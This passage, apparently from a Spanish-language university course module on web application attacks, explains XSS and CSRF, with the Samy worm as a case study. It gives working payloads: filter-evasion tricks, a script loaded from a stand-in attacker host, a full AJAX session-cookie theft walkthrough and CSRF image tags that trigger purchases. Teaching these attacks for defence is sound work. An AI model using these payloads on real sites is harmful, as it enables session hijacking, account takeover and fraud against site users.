El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil

En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

